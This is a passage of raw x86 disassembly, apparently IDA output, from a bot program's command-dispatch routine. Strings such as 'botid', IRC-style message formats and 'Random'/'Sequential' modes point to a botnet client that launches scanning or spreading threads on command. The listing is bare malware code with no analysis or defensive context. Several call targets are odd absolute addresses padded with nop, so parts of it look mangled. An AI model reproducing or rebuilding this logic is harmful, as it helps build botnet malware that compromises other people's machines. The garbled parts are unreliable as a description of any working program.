		pop	ecx
		cmp	eax, 3E8h
		jle	short loc_411EB8
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2DC]
		push	offset unk_4316DC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_411EB8:				; CODE XREF: sub_40EE72+300Fj
		push	edi
		call	sub_41781F
		push	[ebp+arg_18]
		mov	[ebp+var_330], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		add	esp, 0Ch
		cmp	eax, 2
		mov	[ebp+var_32C], eax
		jnb	short loc_411EF1
		push	2
		pop	eax
		mov	[ebp+var_32C], eax


loc_411EF1:				; CODE XREF: sub_40EE72+3074j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_411EFE
		mov	[ebp+var_32C], ecx


loc_411EFE:				; CODE XREF: sub_40EE72+3084j
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, 270Fh
		pop	ecx
		mov	[ebp+var_328], eax
		jbe	short loc_411F1E
		mov	[ebp+var_328], 270Fh


loc_411F1E:				; CODE XREF: sub_40EE72+30A0j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411F74
		mov	[ebp+arg_24], offset dword_42ACB0


loc_411F37:				; CODE XREF: sub_40EE72+30E4j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F5A
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_411F37
		jmp	short loc_411F74
; ---------------------------------------------------------------------------


loc_411F5A:				; CODE XREF: sub_40EE72+30D6j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx


loc_411F74:				; CODE XREF: sub_40EE72+30BCj
					; sub_40EE72+30E6j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_411FBB
		cmp	byte ptr [edi],	23h
		jz	short loc_411FBB
		push	edi
		lea	eax, [ebp+var_444]
		push	10h
		push	eax
		call	sub_41782A
		push	78h
		push	edi
		call	sub_418F50
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_41208F
; ---------------------------------------------------------------------------


loc_411FBB:				; CODE XREF: sub_40EE72+3117j
					; sub_40EE72+311Cj
		cmp	[ebp+var_9C7], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9C6], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9B6], bl
		jnz	short loc_411FDD
		push	offset unk_431698
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_411FDD:				; CODE XREF: sub_40EE72+314Fj
					; sub_40EE72+3157j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43AD3C
		mov	al, [ebp+var_9C7]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_412089
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_41207D


loc_41205B:				; CODE XREF: sub_40EE72+3209j
		cmp	eax, ebx
		jz	short loc_41207D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41205B


loc_41207D:				; CODE XREF: sub_40EE72+31E7j
					; sub_40EE72+31EBj
		mov	[ebp+var_304], 1
		jmp	short loc_41208F
; ---------------------------------------------------------------------------


loc_412089:				; CODE XREF: sub_40EE72+31C1j
		mov	[ebp+var_304], ebx


loc_41208F:				; CODE XREF: sub_40EE72+3144j
					; sub_40EE72+3215j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4120E0


loc_4120CD:				; CODE XREF: sub_40EE72+3291j
		push	esi


loc_4120CE:				; CODE XREF: sub_40EE72+327Bj
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41210B
; ---------------------------------------------------------------------------


loc_4120E0:				; CODE XREF: sub_40EE72+3259j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4120EF
		cmp	byte ptr [eax],	23h
		jnz	short loc_4120EF
		push	eax
		jmp	short loc_4120CE
; ---------------------------------------------------------------------------


loc_4120EF:				; CODE XREF: sub_40EE72+3273j
					; sub_40EE72+3278j
		mov	esi, offset aF	; "#f"
		push	offset byte_436EDC
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4120CD
		mov	[ebp+var_3B4], bl


loc_41210B:				; CODE XREF: sub_40EE72+326Cj
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_41211D
		mov	eax, offset aSequential	; "Sequential"


loc_41211D:				; CODE XREF: sub_40EE72+32A4j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_431614
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4121AB


loc_412195:				; CODE XREF: sub_40EE72+3337j
		cmp	[ebp+var_300], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_412195
; ---------------------------------------------------------------------------


loc_4121AB:				; CODE XREF: sub_40EE72+3321j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_4315CC
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_4121BC:				; CODE XREF: sub_40EE72+279Aj
					; sub_40EE72+27B1j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_440808[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_4315C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4405F0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440808
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_4122A7:				; CODE XREF: sub_40EE72+3532j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_4122D4:				; CODE XREF: sub_40EE72+276Cj
					; sub_40EE72+2783j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_440808[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4405F0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440808
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_4122A7
; ---------------------------------------------------------------------------


loc_4123A9:				; CODE XREF: sub_40EE72+273Ej
					; sub_40EE72+2755j
		push	edi
		call	dword_43ADD8
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_480], eax
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax
		call	sub_418C10
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_431554
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset byte_415E37
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_41248B


loc_412475:				; CODE XREF: sub_40EE72+3617j
		cmp	[ebp+var_464], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_412475
; ---------------------------------------------------------------------------


loc_41248B:				; CODE XREF: sub_40EE72+3601j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_431508
		jmp	loc_4144D6
; ---------------------------------------------------------------------------


loc_41249C:				; CODE XREF: sub_40EE72+2710j
					; sub_40EE72+2727j
		push	edi
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_314], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	[ebp+var_8C]
		mov	[ebp+var_420], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_4314BC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	10h
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407BDE
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412588


loc_412572:				; CODE XREF: sub_40EE72+3714j
		cmp	[ebp+var_300], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_412572
; ---------------------------------------------------------------------------


loc_412588:				; CODE XREF: sub_40EE72+36FEj
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_431468
		jmp	loc_4144D6
; ---------------------------------------------------------------------------


loc_412599:				; CODE XREF: sub_40EE72+26E2j
					; sub_40EE72+26F9j
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		push	0FFh
		lea	eax, [ebp+var_680]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		mov	[ebp+var_57C], ebx
		call	sub_41781F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4125F5
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4125FB
; ---------------------------------------------------------------------------


loc_4125F5:				; CODE XREF: sub_40EE72+376Dj
		mov	[ebp+var_570], ebx


loc_4125FB:				; CODE XREF: sub_40EE72+3781j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_412612
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412618
; ---------------------------------------------------------------------------


loc_412612:				; CODE XREF: sub_40EE72+378Fj
		mov	[ebp+var_574], ebx


loc_412618:				; CODE XREF: sub_40EE72+379Ej
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_43142C
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	16h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4126C9


loc_4126B3:				; CODE XREF: sub_40EE72+3855j
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_4126B3
; ---------------------------------------------------------------------------


loc_4126C9:				; CODE XREF: sub_40EE72+383Fj
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_4313DC
		jmp	loc_4128CC
; ---------------------------------------------------------------------------


loc_4126DA:				; CODE XREF: sub_40EE72+26B4j
					; sub_40EE72+26CBj
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6EC]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_66C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_8]
		add	esp, 30h
		mov	esi, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_568], esi
		push	edi
		push	offset dword_4313A0
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Bh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D7
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4127AD


loc_41279B:				; CODE XREF: sub_40EE72+3939j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4127C8
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_41279B
; ---------------------------------------------------------------------------


loc_4127AD:				; CODE XREF: sub_40EE72+3927j
		nop
		call	near ptr 2670ADCh
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_431358
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4127C8:				; CODE XREF: sub_40EE72+392Fj
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	esi
		jmp	loc_414619
; ---------------------------------------------------------------------------


loc_4127D8:				; CODE XREF: sub_40EE72+266Fj
					; sub_40EE72+2686j ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_768]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6E8]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_668]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		push	20h
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_7F0], esi
		push	edi
		push	offset unk_431318
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ah
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4128C0


loc_4128AA:				; CODE XREF: sub_40EE72+3A4Cj
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_4128AA
; ---------------------------------------------------------------------------


loc_4128C0:				; CODE XREF: sub_40EE72+3A36j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_4312D0


loc_4128CC:				; CODE XREF: sub_40EE72+2E92j
					; sub_40EE72+2FEEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		jmp	loc_411D1F
; ---------------------------------------------------------------------------


loc_4128DD:				; CODE XREF: sub_40EE72+2641j
					; sub_40EE72+2658j
		push	7Fh
		lea	eax, [ebp+var_458]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	3Fh
		mov	[ebp+var_308], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_41292B
		push	3Fh
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_41292B:				; CODE XREF: sub_40EE72+3AA5j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_431290
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	18h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40EB92
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4129B7


loc_4129A1:				; CODE XREF: sub_40EE72+3B43j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_413A62
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_4129A1
; ---------------------------------------------------------------------------


loc_4129B7:				; CODE XREF: sub_40EE72+3B2Dj
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_431248
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_4129C8:				; CODE XREF: sub_40EE72+2601j
					; sub_40EE72+2618j
		push	[ebp+arg_18]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_412ABF
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_43120C
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Dh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_40144A
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412AAE


loc_412A98:				; CODE XREF: sub_40EE72+3C3Aj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_412A98
; ---------------------------------------------------------------------------


loc_412AAE:				; CODE XREF: sub_40EE72+3C24j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_4311C4
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_412ABF:				; CODE XREF: sub_40EE72+3B67j
		push	offset unk_43117C
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_412AC9:				; CODE XREF: sub_40EE72+25D3j
					; sub_40EE72+25EAj
		push	[ebp+arg_18]
		push	edi
		call	near ptr 27F0AEAh
		nop
		test	eax, eax
		jz	short loc_412AF9
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_431148
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_41460C
; ---------------------------------------------------------------------------


loc_412AF9:				; CODE XREF: sub_40EE72+3C63j
		push	offset dword_43112C
		call	sub_40AA35
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_413C09
; ---------------------------------------------------------------------------


loc_412B1B:				; CODE XREF: sub_40EE72+25A5j
					; sub_40EE72+25BCj
		push	edi
		lea	eax, [ebp+var_774]
		push	104h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_412B55
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412B55
		push	eax
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_412B55:				; CODE XREF: sub_40EE72+3CC1j
					; sub_40EE72+3CD2j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7F4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_4310EC
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ch
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_408DCA
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412C0B


loc_412BF5:				; CODE XREF: sub_40EE72+3D97j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_412BF5
; ---------------------------------------------------------------------------


loc_412C0B:				; CODE XREF: sub_40EE72+3D81j
		call	near ptr 2670ADCh
		nop
		push	eax
		push	offset unk_4310A0
		jmp	loc_414E02
; ---------------------------------------------------------------------------


loc_412C1C:				; CODE XREF: sub_40EE72+2577j
					; sub_40EE72+258Ej
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi
		mov	[ebp+var_474], esi
		call	sub_41781F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_412C59
		mov	word ptr [ebp+var_470],	5


loc_412C59:				; CODE XREF: sub_40EE72+3DDCj
		cmp	[ebp+var_C], ebx
		jz	loc_413A62
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_413A62
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2780B1Eh
		test	eax, eax
		jnz	short loc_412CA4
		push	offset unk_43106C
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_412CA4:				; CODE XREF: sub_40EE72+3E26j
		push	edi
		push	offset dword_431044
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412CAF:				; CODE XREF: sub_40EE72+2549j
					; sub_40EE72+2560j
		push	[ebp+arg_18]
		push	offset aBotid	; "botid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E29
		lea	eax, [ebp+var_3FC]
		push	eax
		push	104h
		nop
		call	near ptr 279123Ah
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
